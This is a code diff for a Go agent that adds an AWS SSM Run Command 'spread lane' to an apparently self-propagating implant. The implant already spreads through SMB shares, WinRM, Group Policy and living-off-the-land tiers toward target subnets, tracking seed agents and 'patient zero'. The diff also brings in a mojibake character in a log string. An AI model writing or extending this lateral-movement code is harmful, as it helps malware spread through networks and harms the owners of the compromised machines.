Add ssm_document spread lane for owned EC2 via SSM Run Command.

agent/deploy/discover_join.go

@@ -1,4 +1,4 @@
-package deploy
+package deploy
 
 import (
 	"crypto/hmac"
@@ -25,6 +25,7 @@ type SpreadRouteHint struct {
 	ClearanceLevel    int      `json:"clearance_level,omitempty"`
 	SwarmMagnet       string   `json:"swarm_magnet,omitempty"`
 	ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
+	RouteVia          string   `json:"route_via,omitempty"`
 }
 
 // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -271,7 +272,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
 	switch lane {
 	case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
 		return fmt.Sprintf(
-			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
+			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
 			egress,
 			strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
 			strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
@@ -401,6 +402,9 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
 		strings.TrimSpace(hint.SeedAgentID),
 		hint.Score,
 	)
+	if via := strings.TrimSpace(hint.RouteVia); via != "" {
+		routeNote += "; route_via=" + via
+	}
 	if detail == "" {
 		return routeNote
 	}

agent/deploy/discover_join_test.go

@@ -183,6 +183,20 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
 	}
 }
 
+func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
+	plan := DeployPlanBody{
+		JoinLane: "ssm_document", Action: "ssm_document",
+		SSMDocument: `{"schemaVersion":"2.2"}`,
+	}
+	msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "ssm_document") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
 func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
 	plan := DeployPlanBody{
 		JoinLane: "spread_smb_unc",

agent/deploy/lotl_tiers.go

@@ -19,6 +19,7 @@ var DefaultLotlOnionTiers = []string{
 	"winrm",
 	"linux",
 	"gpo",
+	"ssm_document",
 }
 
 // NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
@@ -27,7 +28,7 @@ func NormalizeLotlTiers(raw []string) []string {
 		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
 		"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
-		"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
+		"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
 	}
 	out := make([]string, 0, len(raw))
 	for _, t := range raw {